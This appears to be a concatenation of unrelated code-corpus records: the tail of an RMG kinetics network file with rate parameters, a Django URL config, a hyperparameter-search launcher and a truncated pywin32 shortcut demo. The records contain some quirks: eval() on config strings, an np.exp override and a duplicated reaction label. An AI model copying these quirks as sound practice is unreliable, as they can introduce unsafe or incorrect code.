spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS13',
E0 = (338.084,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS14',
E0 = (186.553,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS15',
E0 = (223.976,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS16',
E0 = (279.821,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS17',
E0 = (273.713,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS18',
E0 = (397.665,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS19',
E0 = (295.826,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS20',
E0 = (96.2496,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS21',
E0 = (133.291,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS22',
E0 = (109.115,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS23',
E0 = (78.2584,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS24',
E0 = (523.142,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS25',
E0 = (330.774,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS26',
E0 = (78.1747,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS27',
E0 = (478.398,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS28',
E0 = (464.193,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS29',
E0 = (174.021,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS30',
E0 = (277.622,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS31',
E0 = (338.063,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS32',
E0 = (191.494,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS33',
E0 = (179.469,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS34',
E0 = (204.457,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS35',
E0 = (213.068,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS36',
E0 = (94.8636,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS37',
E0 = (77.4216,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS38',
E0 = (602.501,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
reaction(
label = 'reaction1',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C=CC=CC(381)', 'CH3CHO(52)'],
transitionState = 'TS1',
kinetics = Arrhenius(A=(5e+12,'s^-1'), n=0, Ea=(0,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""Exact match found for rate rule [RJJ]
Euclidian distance = 0
family: 1,4_Linear_birad_scission"""),
)
reaction(
label = 'reaction2',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['[CH2]C1[CH]C(C)OC1C(3810)'],
transitionState = 'TS2',
kinetics = Arrhenius(A=(187000,'s^-1'), n=1.48, Ea=(30.8638,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(2500,'K'), comment="""Estimated using an average for rate rule [R6;doublebond_intra_2H_pri;radadd_intra_csHNd]
Euclidian distance = 0
family: Intra_R_Add_Exocyclic
Ea raised from 23.9 to 30.9 kJ/mol to match endothermicity of reaction."""),
)
reaction(
label = 'reaction3',
reactants = ['H(19)', 'C=CC=C(C)O[CH]C(3811)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS3',
kinetics = Arrhenius(A=(170.641,'m^3/(mol*s)'), n=1.56204, Ea=(11.2897,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Cds_Cds;HJ] for rate rule [Cds-OsCs_Cds;HJ]
Euclidian distance = 1.0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction4',
reactants = ['H(19)', 'C=C[CH]C(C)OC=C(3812)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS4',
kinetics = Arrhenius(A=(6.67e+12,'cm^3/(mol*s)'), n=0.1, Ea=(6.4601,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(2000,'K'), comment="""From training reaction 2816 used for Cds-HH_Cds-OsH;HJ
Exact match found for rate rule [Cds-HH_Cds-OsH;HJ]
Euclidian distance = 0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction5',
reactants = ['H(19)', 'C=C=CC(C)O[CH]C(3813)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS5',
kinetics = Arrhenius(A=(5.46e+08,'cm^3/(mol*s)'), n=1.64, Ea=(15.8155,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""From training reaction 2714 used for Ca_Cds-CsH;HJ
Exact match found for rate rule [Ca_Cds-CsH;HJ]
Euclidian distance = 0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction6',
reactants = ['CH3CHO(52)', '[CH2]C=C[CH]C(377)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS6',
kinetics = Arrhenius(A=(4e+09,'cm^3/(mol*s)'), n=1.39, Ea=(35.8862,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(2000,'K'), comment="""Estimated using template [Od_CO-CsH;YJ] for rate rule [Od_CO-CsH;CJ]
Euclidian distance = 1.0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction7',
reactants = ['CH3(34)', 'C=CC=CO[CH]C(3814)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS7',
kinetics = Arrhenius(A=(0.0063345,'m^3/(mol*s)'), n=2.46822, Ea=(26.7748,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Cds_Cds;CsJ-HHH] for rate rule [Cds-OsH_Cds;CsJ-HHH]
Euclidian distance = 1.0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction8',
reactants = ['C=CC[C](C)O[CH]C(3815)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS8',
kinetics = Arrhenius(A=(20108.5,'s^-1'), n=2.606, Ea=(121.63,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R2H_S;C_rad_out_NonDe;Cs_H_out_H/Cd] for rate rule [R2H_S;C_rad_out_NDMustO;Cs_H_out_H/Cd]
Euclidian distance = 1.0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction9',
reactants = ['[CH2]COC(C)[CH]C=C(3816)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS9',
kinetics = Arrhenius(A=(3.7e+13,'s^-1','+|-',2), n=-0.1, Ea=(158.364,'kJ/mol'), T0=(1,'K'), Tmin=(700,'K'), Tmax=(1800,'K'), comment="""From training reaction 347 used for R2H_S;C_rad_out_2H;Cs_H_out_H/NonDeO
Exact match found for rate rule [R2H_S;C_rad_out_2H;Cs_H_out_H/NonDeO]
Euclidian distance = 0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction10',
reactants = ['C=[C]CC(C)O[CH]C(3817)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS10',
kinetics = Arrhenius(A=(1.9054e+11,'s^-1'), n=0.853, Ea=(200.196,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [R2H_S;Cd_rad_out_Cd;Cs_H_out_H/(NonDeC/Cs)]
Euclidian distance = 0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction11',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C=C[CH][C](C)OCC(3818)'],
transitionState = 'TS11',
kinetics = Arrhenius(A=(1.2544e+06,'s^-1'), n=1.86276, Ea=(157.734,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R3H_SS;C_rad_out_H/NonDeC;XH_out] for rate rule [R3H_SS_O;C_rad_out_H/NonDeC;XH_out]
Euclidian distance = 1.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction12',
reactants = ['[CH2]C(CC=C)O[CH]C(3819)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS12',
kinetics = Arrhenius(A=(25000,'s^-1'), n=2.28, Ea=(119.244,'kJ/mol'), T0=(1,'K'), comment="""From training reaction 85 used for R3H_SS_Cs;C_rad_out_2H;Cs_H_out_H/Cd
Exact match found for rate rule [R3H_SS_Cs;C_rad_out_2H;Cs_H_out_H/Cd]
Euclidian distance = 0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction13',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['[CH]=CCC(C)O[CH]C(3820)'],
transitionState = 'TS13',
kinetics = Arrhenius(A=(8.32e+10,'s^-1'), n=0.77, Ea=(268.194,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""From training reaction 195 used for R3H_SD;C_rad_out_H/NonDeC;Cd_H_out_singleH
Exact match found for rate rule [R3H_SD;C_rad_out_H/NonDeC;Cd_H_out_singleH]
Euclidian distance = 0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction14',
reactants = ['[CH2]C=CC([CH2])OCC(3772)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS14',
kinetics = Arrhenius(A=(6.44e+09,'s^-1'), n=0.13, Ea=(86.6088,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""From training reaction 131 used for R4H_SSS;C_rad_out_2H;Cs_H_out_H/NonDeC
Exact match found for rate rule [R4H_SSS;C_rad_out_2H;Cs_H_out_H/NonDeC]
Euclidian distance = 0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction15',
reactants = ['[CH2][CH]OC(C)CC=C(3821)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS15',
kinetics = Arrhenius(A=(62296.1,'s^-1'), n=1.86, Ea=(59.4128,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R5Hall;C_rad_out_2H;Cs_H_out_H/Cd] for rate rule [R5HJ_1;C_rad_out_2H;Cs_H_out_H/Cd]
Euclidian distance = 1.0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction16',
reactants = ['C=[C][CH]C(C)OCC(3822)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS16',
kinetics = Arrhenius(A=(2.54505e+10,'s^-1'), n=0.959062, Ea=(152.545,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [RnH;Cd_rad_out_Cd;Cs_H_out_H/NonDeC] for rate rule [R5HJ_1;Cd_rad_out_Cd;Cs_H_out_H/NonDeC]
Euclidian distance = 2.0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction17',
reactants = ['[CH]=C[CH]C(C)OCC(3823)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS17',
kinetics = Arrhenius(A=(1.846e+10,'s^-1'), n=0.74, Ea=(145.185,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""Estimated using template [RnH;Cd_rad_out_singleH;Cs_H_out_H/NonDeC] for rate rule [R6HJ_2;Cd_rad_out_singleH;Cs_H_out_H/NonDeC]
Euclidian distance = 2.0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction18',
reactants = ['[CH2]C=C[CH]C(377)', 'C[CH][O](2420)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS18',
kinetics = Arrhenius(A=(7.35017e+06,'m^3/(mol*s)'), n=0.0284742, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Y_rad;Y_rad]
Euclidian distance = 0
family: R_Recombination
Ea raised from -14.4 to 0 kJ/mol."""),
)
reaction(
label = 'reaction19',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C[CH]OC(C)C1[CH]C1(3824)'],
transitionState = 'TS19',
kinetics = Arrhenius(A=(1.05e+08,'s^-1'), n=1.192, Ea=(225.936,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R3_D;doublebond_intra_pri;radadd_intra_cs] for rate rule [R3_D;doublebond_intra_pri_2H;radadd_intra_csHCs]
Euclidian distance = 2.2360679775
family: Intra_R_Add_Endocyclic"""),
)
reaction(
label = 'reaction20',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['CC1[CH][CH]CC(C)O1(3825)'],
transitionState = 'TS20',
kinetics = Arrhenius(A=(487000,'s^-1'), n=1.17, Ea=(26.3592,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(2500,'K'), comment="""Estimated using an average for rate rule [R6_linear;doublebond_intra_pri_2H;radadd_intra_csHCs]
Euclidian distance = 0
family: Intra_R_Add_Endocyclic"""),
)
reaction(
label = 'reaction21',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C=CC=C(C)OCC(3826)'],
transitionState = 'TS21',
kinetics = Arrhenius(A=(7.437e+08,'s^-1'), n=1.045, Ea=(63.4002,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R3radExo;Y_rad_NDe;XH_Rrad] for rate rule [R3radExo;Y_rad_NDe;XH_Rrad_De]
Euclidian distance = 1.0
family: Intra_Disproportionation"""),
)
reaction(
label = 'reaction22',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C=CCC(C)OC=C(3827)'],
transitionState = 'TS22',
kinetics = Arrhenius(A=(5.55988e+09,'s^-1'), n=0.137, Ea=(39.225,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R5;Y_rad_De;XH_Rrad] for rate rule [R5radEndo;Y_rad_De;XH_Rrad]
Euclidian distance = 1.0
Multiplied by reaction path degeneracy 3.0
family: Intra_Disproportionation"""),
)
reaction(
label = 'reaction23',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C=C=CC(C)OCC(3828)'],
transitionState = 'TS23',
kinetics = Arrhenius(A=(3.21e+09,'s^-1'), n=0.137, Ea=(8.368,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""Estimated using template [R5;Y_rad_NDe;XH_Rrad] for rate rule [R5radEndo;Y_rad_NDe;XH_Rrad]
Euclidian distance = 1.0
family: Intra_Disproportionation"""),
)
reaction(
label = 'reaction24',
reactants = ['CH2(S)(40)', 'C=C[CH]CO[CH]C(3798)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS24',
kinetics = Arrhenius(A=(143764,'m^3/(mol*s)'), n=0.444, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [carbene;R_H]
Euclidian distance = 0
Multiplied by reaction path degeneracy 2.0
family: 1,2_Insertion_carbene
Ea raised from -5.1 to 0 kJ/mol."""),
)
reaction(
label = 'reaction25',
reactants = ['C=CC(C)[CH]O[CH]C(3829)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS25',
kinetics = Arrhenius(A=(5.59192e+09,'s^-1'), n=1.025, Ea=(194.765,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [cCs(-HC)CJ;CsJ;CH3]
Euclidian distance = 0
family: 1,2_shiftC"""),
)
reaction(
label = 'reaction26',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C=CC1C(C)OC1C(2310)'],
transitionState = 'TS26',
kinetics = Arrhenius(A=(1.62e+12,'s^-1'), n=-0.305, Ea=(8.28432,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R4_SSS;C_rad_out_single;Cpri_rad_out_single] for rate rule [R4_SSS;C_rad_out_H/NonDeC;Cpri_rad_out_H/OneDe]
Euclidian distance = 2.82842712475
family: Birad_recombination"""),
)
reaction(
label = 'reaction27',
reactants = ['CHCH3(T)(359)', 'C=C[CH]C(C)[O](3162)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS27',
kinetics = Arrhenius(A=(54738.4,'m^3/(mol*s)'), n=0.884925, Ea=(0,'kJ/mol'), T0=(1,'K'), Tmin=(303.03,'K'), Tmax=(2000,'K'), comment="""Estimated using an average for rate rule [O_rad/NonDe;Birad]
Euclidian distance = 0
family: Birad_R_Recombination
Ea raised from -2.9 to 0 kJ/mol."""),
)
reaction(
label = 'reaction28',
reactants = ['[CH]=C[CH2](321)', 'C[CH]O[CH]C(3586)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS28',
kinetics = Arrhenius(A=(4.4725e+06,'m^3/(mol*s)'), n=0.36814, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Y_rad;Birad] for rate rule [C_rad/H/CsO;Birad]
Euclidian distance = 4.0
Multiplied by reaction path degeneracy 2.0
family: Birad_R_Recombination
Ea raised from -1.7 to 0 kJ/mol."""),
)
reaction(
label = 'reaction29',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['[CH2][CH]C1C(C)OC1C(3830)'],
transitionState = 'TS29',
kinetics = Arrhenius(A=(4.73e+06,'s^-1'), n=1.31, Ea=(104.13,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(2500,'K'), comment="""Estimated using an average for rate rule [R5_SS_D;doublebond_intra;radadd_intra_csHNd]
Euclidian distance = 0
family: Intra_R_Add_Exocyclic
Ea raised from 98.9 to 104.1 kJ/mol to match endothermicity of reaction."""),
)
reaction(
label = 'reaction30',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C[C]=CC(C)O[CH]C(3769)'],
transitionState = 'TS30',
kinetics = Arrhenius(A=(1.63e+08,'s^-1'), n=1.73, Ea=(207.731,'kJ/mol'), T0=(1,'K'), comment="""From training reaction 123 used for R2H_S;C_rad_out_2H;Cd_H_out_doubleC
Exact match found for rate rule [R2H_S;C_rad_out_2H;Cd_H_out_doubleC]
Euclidian distance = 0
family: intra_H_migration"""),
)
reaction(
label = 'reaction31',
reactants = ['C[CH]OC(C)[C]=CC(3767)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS31',
kinetics = Arrhenius(A=(7.74e+09,'s^-1'), n=1.08, Ea=(161.921,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""From training reaction 198 used for R3H_DS;Cd_rad_out_Cs;Cs_H_out_2H
Exact match found for rate rule [R3H_DS;Cd_rad_out_Cs;Cs_H_out_2H]
Euclidian distance = 0
Multiplied by reaction path degeneracy 3.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction32',
reactants = ['[CH2]C=[C]C(C)OCC(3831)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS32',
kinetics = Arrhenius(A=(74200,'s^-1'), n=2.23, Ea=(44.3086,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R4H_RSS;Cd_rad_out;Cs_H_out_1H] for rate rule [R4H_SSS;Cd_rad_out_Cd;Cs_H_out_H/NonDeC]
Euclidian distance = 2.44948974278
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction33',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C[CH]O[C](C)C=CC(3764)'],
transitionState = 'TS33',
kinetics = Arrhenius(A=(1.86e+10,'s^-1'), n=0.58, Ea=(109.579,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R4H;C_rad_out_2H;Cs_H_out_NonDe] for rate rule [R4H_SDS;C_rad_out_2H;Cs_H_out_NDMustO]
Euclidian distance = 2.2360679775
family: intra_H_migration"""),
)
reaction(
label = 'reaction16',
reactants = ['[CH2]C(C=CC)O[CH]C(2304)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS34',
kinetics = Arrhenius(A=(121000,'s^-1'), n=1.9, Ea=(55.6472,'kJ/mol'), T0=(1,'K'), comment="""From training reaction 92 used for R5H_SSMS;C_rad_out_2H;Cs_H_out_2H
Exact match found for rate rule [R5H_SSMS;C_rad_out_2H;Cs_H_out_2H]
Euclidian distance = 0
Multiplied by reaction path degeneracy 3.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction35',
reactants = ['[CH2][CH]OC(C)C=CC(3770)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS35',
kinetics = Arrhenius(A=(64.2,'s^-1'), n=2.1, Ea=(63.1784,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R7Hall;C_rad_out_2H;Cs_H_out_2H] for rate rule [R7HJ_1;C_rad_out_2H;Cs_H_out_2H]
Euclidian distance = 1.0
Multiplied by reaction path degeneracy 3.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction36',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['C=COC(C)C=CC(3776)'],
transitionState = 'TS36',
kinetics = Arrhenius(A=(6.37831e+09,'s^-1'), n=0.137, Ea=(24.9733,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R7;Y_rad;XH_Rrad] for rate rule [R7radEndo;Y_rad;XH_Rrad]
Euclidian distance = 1.0
Multiplied by reaction path degeneracy 3.0
family: Intra_Disproportionation"""),
)
reaction(
label = 'reaction37',
reactants = ['C=C[CH]C(C)O[CH]C(2302)'],
products = ['CC1C=CCC(C)O1(2305)'],
transitionState = 'TS37',
kinetics = Arrhenius(A=(2e+12,'s^-1'), n=0, Ea=(7.5312,'kJ/mol'), T0=(1,'K'), Tmin=(550,'K'), Tmax=(650,'K'), comment="""Estimated using template [R6_SSSDS;C_rad_out_1H;Cpri_rad_out_2H] for rate rule [R6_SSSDS;C_rad_out_H/NonDeC;Cpri_rad_out_2H]
Euclidian distance = 1.0
family: Birad_recombination"""),
)
reaction(
label = 'reaction38',
reactants = ['CH2(T)(33)', '[CH]=CC(C)O[CH]C(3832)'],
products = ['C=C[CH]C(C)O[CH]C(2302)'],
transitionState = 'TS38',
kinetics = Arrhenius(A=(2.23625e+06,'m^3/(mol*s)'), n=0.36814, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Y_rad;Birad] for rate rule [Cd_pri_rad;Birad]
Euclidian distance = 2.0
family: Birad_R_Recombination
Ea raised from -1.7 to 0 kJ/mol."""),
)
network(
label = '556',
isomers = [
'C=C[CH]C(C)O[CH]C(2302)',
],
reactants = [
('C=CC=CC(381)', 'CH3CHO(52)'),
],
bathGas = {
'N2': 0.5,
'Ne': 0.5,
},
)
pressureDependence(
label = '556',
Tmin = (300,'K'),
Tmax = (2000,'K'),
Tcount = 8,
Tlist = ([302.47,323.145,369.86,455.987,609.649,885.262,1353.64,1896.74],'K'),
Pmin = (0.01,'bar'),
Pmax = (100,'bar'),
Pcount = 5,
Plist = ([0.0125282,0.0667467,1,14.982,79.8202],'bar'),
maximumGrainSize = (0.5,'kcal/mol'),
minimumGrainCount = 250,
method = 'modified strong collision',
interpolationModel = ('Chebyshev', 6, 4),
activeKRotor = True,
activeJRotor = True,
rmgmode = True,
)
| [
"[email protected]"
] | |
afc614636a168d512fd7a9da31c0dc42b2a9191f | afc4e63338fcb6538117ab2da3ebeb7b6d485399 | /campoapp/cedis/urls.py | 7b9a3a3c63a8bfbeeffb7c13b8791bc8046c038a | [] | no_license | alrvivas/cedis-erp | 7531108ba4dd2212788cb6d108ccacdce42d4b37 | aa7d3c5d844473b72786ee6168f9b3a71be349f2 | refs/heads/master | 2022-11-25T14:21:40.365438 | 2018-09-28T18:06:41 | 2018-09-28T18:06:41 | 146,667,529 | 0 | 0 | null | 2022-11-22T02:52:27 | 2018-08-29T22:52:30 | JavaScript | UTF-8 | Python | false | false | 725 | py | from django.conf.urls import url
from django.urls import path,re_path
from .views import (
CedisView,
CedisCreation,
RouteCedis,
RouteCreation,
ClientRoute,
)
app_name = 'cedis'
urlpatterns = [
path('', CedisView.as_view(), name='cedis'),
re_path(r'^nuevo$', CedisCreation.as_view(), name='new'),
path('<slug:slug>/', RouteCedis.as_view(), name='cedis_detail'),
#re_path(r'^nueva-ruta$', RouteCreation.as_view(), name='new_route'),
re_path(r'^(?P<slug>[\w-]+)/nueva-ruta/$', RouteCreation.as_view(), name='new_route'),
path('route/<slug:slug>/', ClientRoute.as_view(), name='route_detail'),
#re_path(r'^(?P<slug:slug>[-\w]+)/$', RouteCedis.as_view(), name='cedis_detail'),
] | [
"[email protected]"
] | |
56c2adbfffabb89ea6c69a685d01c01d8098d791 | 235de1014c7aa9b05ee3c9cce2e7557c6406f800 | /Rationale_Analysis/experiments/hyperparam_search.py | d61afcd61a83d2afaa5a437ea45f96894e5a8e2c | [
"MIT"
] | permissive | yuvalpinter/rationale_analysis | b07336142e7de932238a3cc07c656e6616c0e717 | 2b25c6027d4459fc27e0f6793da6fee695e409a9 | refs/heads/master | 2020-09-11T08:16:15.031620 | 2019-11-17T23:25:11 | 2019-11-17T23:25:11 | 222,000,886 | 0 | 0 | MIT | 2019-11-15T20:48:41 | 2019-11-15T20:48:41 | null | UTF-8 | Python | false | false | 1,617 | py | import argparse
import os
import json
import subprocess
import hyperopt
from hyperopt import hp
import numpy as np
np.exp = lambda x : 10**x
parser = argparse.ArgumentParser()
parser.add_argument("--exp-name", type=str, required=True)
parser.add_argument("--search-space-file", type=str, required=True)
parser.add_argument("--dry-run", dest="dry_run", action="store_true")
parser.add_argument("--cluster", dest="cluster", action="store_true")
parser.add_argument('--run-one', dest='run_one', action='store_true')
parser.add_argument('--num-searches', type=int, required=True)
def main(args):
global_exp_name = args.exp_name
search_space_config = json.load(open(args.search_space_file))
hyperparam_space = {k:eval(v['type'])(k, **v['options']) for k, v in search_space_config.items()}
for i in range(args.num_searches) :
new_env = os.environ.copy()
hyperparam_vals = hyperopt.pyll.stochastic.sample(hyperparam_space)
for k, v in hyperparam_vals.items():
new_env[k] = str(v)
print(hyperparam_vals)
exp_name = os.path.join(global_exp_name, "search_" + str(i))
new_env["EXP_NAME"] = exp_name
cmd = ["bash", "Rationale_Analysis/commands/model_a_train_script.sh"]
if args.cluster:
cmd = ["sbatch", "Cluster_scripts/multi_gpu_sbatch.sh"] + cmd
print("Running ", cmd, " with exp name ", exp_name)
if not args.dry_run:
subprocess.run(cmd, check=True, env=new_env)
if args.run_one :
break
if __name__ == "__main__":
args = parser.parse_args()
main(args)
| [
"[email protected]"
] | |
fcc48edcfdd4d1fc34b4b877308b372de722ad40 | 8eab8ab725c2132bb8d090cdb2d23a5f71945249 | /virt/Lib/site-packages/win32comext/shell/demos/create_link.py | 354561b7c50d6342a359a3c4e10a1c066bef399a | [
"MIT"
] | permissive | JoaoSevergnini/metalpy | 6c88a413a82bc25edd9308b8490a76fae8dd76ca | c2d0098a309b6ce8c756ff840bfb53fb291747b6 | refs/heads/main | 2023-04-18T17:25:26.474485 | 2022-09-18T20:44:45 | 2022-09-18T20:44:45 | 474,773,752 | 3 | 1 | MIT | 2022-11-03T20:07:50 | 2022-03-27T22:21:01 | Python | UTF-8 | Python | false | false | 2,329 | py | # link.py
# From a demo by Mark Hammond, corrupted by Mike Fletcher
# (and re-corrupted by Mark Hammond :-)
from win32com.shell import shell
import pythoncom, os
class PyShortcut:
def __init__(self):
self._base = pythoncom.CoCreateInstance(
shell.CLSID_ShellLink,
None,
pythoncom.CLSCTX_INPROC_SERVER,
shell.IID_IShellLink,
)
def load(self, filename):
# Get an IPersist interface
# which allows save/restore of object to/from files
self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename)
def save(self, filename):
self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 0)
def __getattr__(self, name):
if name != "_base":
return getattr(self._base, name)
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print(
"Usage: %s LinkFile [path [, args[, description[, working_dir]]]]\n\nIf LinkFile does not exist, it will be created using the other args"
)
sys.exit(1)
file = sys.argv[1]
shortcut = PyShortcut()
if os.path.exists(file):
# load and dump info from file...
shortcut.load(file)
# now print data...
print(
"Shortcut in file %s to file:\n\t%s\nArguments:\n\t%s\nDescription:\n\t%s\nWorking Directory:\n\t%s\nItemIDs:\n\t<skipped>"
% (
file,
shortcut.GetPath(shell.SLGP_SHORTPATH)[0],
shortcut.GetArguments(),
shortcut.GetDescription(),
shortcut.GetWorkingDirectory(),
# shortcut.GetIDList(),
)
)
else:
if len(sys.argv) < 3:
print(
"Link file does not exist\nYou must supply the path, args, description and working_dir as args"
)
sys.exit(1)
# create the shortcut using rest of args...
data = map(
None,
sys.argv[2:],
